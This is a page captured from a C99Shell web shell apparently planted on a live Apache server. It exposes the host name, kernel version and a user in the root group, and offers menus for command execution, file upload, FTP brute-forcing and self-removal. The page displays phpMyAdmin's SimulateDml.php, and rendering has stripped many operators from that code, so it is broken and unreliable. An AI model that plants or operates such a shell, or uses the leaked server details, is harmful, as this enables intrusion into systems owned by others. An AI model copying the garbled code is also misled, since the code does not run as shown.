!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/public_html/phpmyadmin/libraries/classes/Import/   drwxr-xr-x
Free 28.76 GB of 117.98 GB (24.38%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     SimulateDml.php (4.69 KB)      -rwxr-x---
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

declare(strict_types=1);

namespace 
PhpMyAdmin\Import;

use 
PhpMyAdmin\Core;
use 
PhpMyAdmin\DatabaseInterface;
use 
PhpMyAdmin\Html;
use 
PhpMyAdmin\SqlParser\Parser;
use 
PhpMyAdmin\SqlParser\Statement;
use 
PhpMyAdmin\SqlParser\Statements\DeleteStatement;
use 
PhpMyAdmin\SqlParser\Statements\UpdateStatement;
use 
PhpMyAdmin\SqlParser\Utils\Query;
use 
PhpMyAdmin\Url;

use function 
implode;
use function 
strtoupper;

final class 
SimulateDml
{
    
/** @var DatabaseInterface */
    
private $dbi;

    public function 
__construct(DatabaseInterface $dbi)
    {
        
$this->dbi $dbi;
    }

    public function 
getError(): string
    
{
        return 
$this->dbi->getError();
    }

    
/**
     * Find the matching rows for UPDATE/DELETE query.
     *
     * @param DeleteStatement|UpdateStatement|Statement $statement
     *
     * @return array<string, int|string>
     * @psalm-return array{
     *   sql_query: string,
     *   matched_rows: (int|numeric-string),
     *   matched_rows_url: string
     * }
     */
    
public function getMatchedRows(string $queryParser $parser$statement): array
    {
        
$matchedRowQuery '';
        if (
$statement instanceof DeleteStatement) {
            
$matchedRowQuery $this->getSimulatedDeleteQuery($parser$statement);
        } elseif (
$statement instanceof UpdateStatement) {
            
$matchedRowQuery $this->getSimulatedUpdateQuery($parser$statement);
        }

        
// Execute the query and get the number of matched rows.
        
$matchedRows $this->executeMatchedRowQuery($matchedRowQuery);
        
$matchedRowsUrl Url::getFromRoute('/sql', [
            
'db' => $GLOBALS['db'],
            
'sql_query' => $matchedRowQuery,
            
'sql_signature' => Core::signSqlQuery($matchedRowQuery),
        ]);

        return [
            
'sql_query' => Html\Generator::formatSql($query),
            
'matched_rows' => $matchedRows,
            
'matched_rows_url' => $matchedRowsUrl,
        ];
    }

    
/**
     * Executes the matched_row_query and returns the resultant row count.
     *
     * @param string $matchedRowQuery SQL query
     *
     * @return int|string
     * @psalm-return int|numeric-string
     */
    
private function executeMatchedRowQuery(string $matchedRowQuery)
    {
        
$this->dbi->selectDb($GLOBALS['db']);
        
// Execute the query.
        
$result $this->dbi->tryQuery($matchedRowQuery);
        if (! 
$result) {
            return 
0;
        }

        
// Count the number of rows in the result set.
        
return $result->numRows();
    }

    
/**
     * Transforms a DELETE query into SELECT statement.
     *
     * @return string SQL query
     */
    
private function getSimulatedDeleteQuery(Parser $parserDeleteStatement $statement): string
    
{
        
$tableReferences Query::getTables($statement);
        
$where Query::getClause($statement$parser->list'WHERE');
        if (empty(
$where)) {
            
$where '1';
        }

        
$orderAndLimit '';
        if (! empty(
$statement->order)) {
            
$orderAndLimit .= ' ORDER BY ' Query::getClause($statement$parser->list'ORDER BY');
        }

        if (! empty(
$statement->limit)) {
            
$orderAndLimit .= ' LIMIT ' Query::getClause($statement$parser->list'LIMIT');
        }

        return 
'SELECT * FROM ' implode(', '$tableReferences) .
            
' WHERE ' $where $orderAndLimit;
    }

    
/**
     * Transforms a UPDATE query into SELECT statement.
     *
     * @return string SQL query
     */
    
private function getSimulatedUpdateQuery(Parser $parserUpdateStatement $statement): string
    
{
        
$tableReferences Query::getTables($statement);
        
$where Query::getClause($statement$parser->list'WHERE');
        if (empty(
$where)) {
            
$where '1';
        }

        
$columns = [];
        
$diff = [];
        foreach (
$statement->set as $set) {
            
$columns[] = $set->column;
            
$notEqualOperator ' <> ';
            if (
strtoupper($set->value) === 'NULL') {
                
$notEqualOperator ' IS NOT ';
            }

            
$diff[] = $set->column $notEqualOperator $set->value;
        }

        if (! empty(
$diff)) {
            
$where .= ' AND (' implode(' OR '$diff) . ')';
        }

        
$orderAndLimit '';
        if (! empty(
$statement->order)) {
            
$orderAndLimit .= ' ORDER BY ' Query::getClause($statement$parser->list'ORDER BY');
        }

        if (! empty(
$statement->limit)) {
            
$orderAndLimit .= ' LIMIT ' Query::getClause($statement$parser->list'LIMIT');
        }

        return 
'SELECT ' implode(', '$columns) .
            
' FROM ' implode(', '$tableReferences) .
            
' WHERE ' $where $orderAndLimit;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0061 ]--